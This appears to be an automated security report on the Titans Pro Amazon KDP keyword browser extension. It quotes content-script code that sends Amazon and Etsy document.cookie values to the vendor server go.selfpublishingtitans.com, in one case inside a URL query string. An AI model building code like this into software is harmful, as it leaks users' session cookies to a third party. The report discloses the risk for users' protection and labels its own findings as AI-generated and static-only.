Is Titans Pro - Amazon KDP Keyword Research Tool safe?
Titans Pro sends the full Amazon and Etsy page cookie string to go.selfpublishingtitans.com with keyword lookups.
When you type a keyword into the Amazon search box or use the Etsy keyword tool, the extension requests suggestions from its own server. Each request includes the page's document.cookie value along with the keyword and site, and the Etsy request places the cookies in the URL query string. Cookies are not needed to look up keyword suggestions.
Strong link to a flagged operator: 1 of the 2 other listings from the same operator is rated high or critical for malicious behavior. Flagged: Titans Pro: Amazon KDP Keyword Tool - Quick View, Niche Finder, Search Vol (high).
Who publishes ithttps://selfpublishingtitans.com/ - 2 other listings from the same operator, 2 of them carrying a finding
https://selfpublishingtitans.com/ - 2 other listings from the same operator, 2 of them carrying a finding
What this publisher told the store about itself, and the other listings that told it the same thing.
Same store account
2 other listings published from this account, 74k+ users between them. 2 of them carry a finding.
Shared hosts - 3 hostnames
Hostnames hardcoded in this extension that few other listings call. That can mean one operator behind both, and it can equally mean a small shared vendor, so it is context rather than a conclusion. Hosts that many listings call are left out: they are services, not connections.
AI-generated. Findings may contain errors. Those marked Verified have been manually reviewed.
Publishers can request a review.
Findings
Titans Pro puts your Etsy cookie string in a vendor request URL on each search
Code analysis shows the Etsy keyword tool appends document.cookie as a URL parameter on a GET to go.selfpublishingtitans.com.
Cookie values can land in server and proxy logs.
- Severity
- High unwanted
- Type
- Unexpected
- CWE
- CWE-522
- Source
- Static analysis
You search for a keyword in the extension panel on etsy.com.
The extension adds your Etsy cookie string to the URL of a request to the vendor server.
Query object and URL builder in the Etsy content script
Query object
content-scripts/etsysearch.jsconst pe = { keyword: n, hostname: f3(window.location.href), language: window.navigator.language, cookies: document.cookie};const Z = XO(O, pe),URL builder (Uc is https://go.selfpublishingtitans.com)
content-scripts/etsysearch.jsXO = (e, t) => { const r = new URL(`${Uc}/api/v1/etsy/keywords`); return Object.keys(t).forEach(n => r.searchParams.append(n, t[n])), { headers: { "Content-Type": "application/json", Authorization: `Bearer ${e}` }, url: r.toString(), method: "GET" }}- Page cookiescookies=<document.cookie of the Etsy page, URL-encoded>
Every cookie JavaScript can read on the Etsy page, placed in the URL.
- Keywordkeyword=personalized mug
The search text you entered.
- Hostnamehostname=www.etsy.com
Which Etsy site you are on.
- Languagelanguage=en-US
Your browser language setting.
- go.selfpublishingtitans.com
Vendor API at /api/v1/etsy/keywords receiving the keyword and page cookies in the URL.
Static analysis finding. This behaviour was identified by reading the shipped extension code and has not yet been reproduced in a live run. The trigger conditions and the exact data sent are read from the code, not from an observed capture.
Titans Pro sends your full Amazon cookie string to the vendor on each lookup
Code analysis shows the Amazon keyword panel posts document.cookie to go.selfpublishingtitans.com with each lookup.
The lookup itself does not need cookies.
- Severity
- High unwanted
- Type
- Unexpected
- CWE
- CWE-522
- Source
- Static analysis
You type a keyword of three or more characters on an Amazon site.
The extension posts your Amazon cookie string to the vendor server with the keyword.
Request body built in the Amazon content script
Same request, formatted
content-scripts/search.jsconst P = { url: `${bs}/api/v1/chrome/on-site-suggestions`, method: "POST", body: { searchedText: r, language: a2(), hostname: k, mid: Bm(k), cookies: document.cookie }, headers: { Authorization: `Bearer ${v}` }};let M;try { M = await Cs(yu.HANDLE_API_REQUESTS, P)} catch { P.url = `${bs}/api/v1/chrome/free-suggestions`, M = await Cs(yu.HANDLE_API_REQUESTS, P)}- Page cookiesdocument.cookie of the Amazon page (illustrative: session-id=...; ubid-main=...)
Every cookie JavaScript can read on the Amazon page, including identifiers.
- Search textcozy mystery notebook
The keyword you typed into the panel.
- Hostnamewww.amazon.com
Which Amazon store you are using.
- Languageen-US
Your browser language setting.
- go.selfpublishingtitans.com
Vendor API receiving the keyword body and page cookies, with the user Bearer token.
Static analysis finding. This behaviour was identified by reading the shipped extension code and has not yet been reproduced in a live run. The trigger conditions and the exact data sent are read from the code, not from an observed capture.
What it can do
Permissions this extension asks for, as declared in version 6.3.4. Asking for a permission is not a finding on its own - it is what the extension can do if it chooses to. The current listed version is 6.3.6, which we have not unpacked yet.
Read and change your data on every site you visit
*://*/*
Add items to the right-click menu
contextMenus
Store data in your browser
storage
Keep running in the background while your browser is open
background
Act on the current tab, but only after you click the extension
activeTab
Where it sends data
Destinations our analysis observed Titans Pro - Amazon KDP Keyword Research Tool contacting. Sending data somewhere is not a finding on its own - an extension that syncs your settings has to talk to its own server - but it is where your data can go, and who else it goes to.
- go.selfpublishingtitans.com
Titans Pro - Amazon KDP Keyword Research Tool sends data to go.selfpublishingtitans.com. 2 other extensions we have analyzed send data here.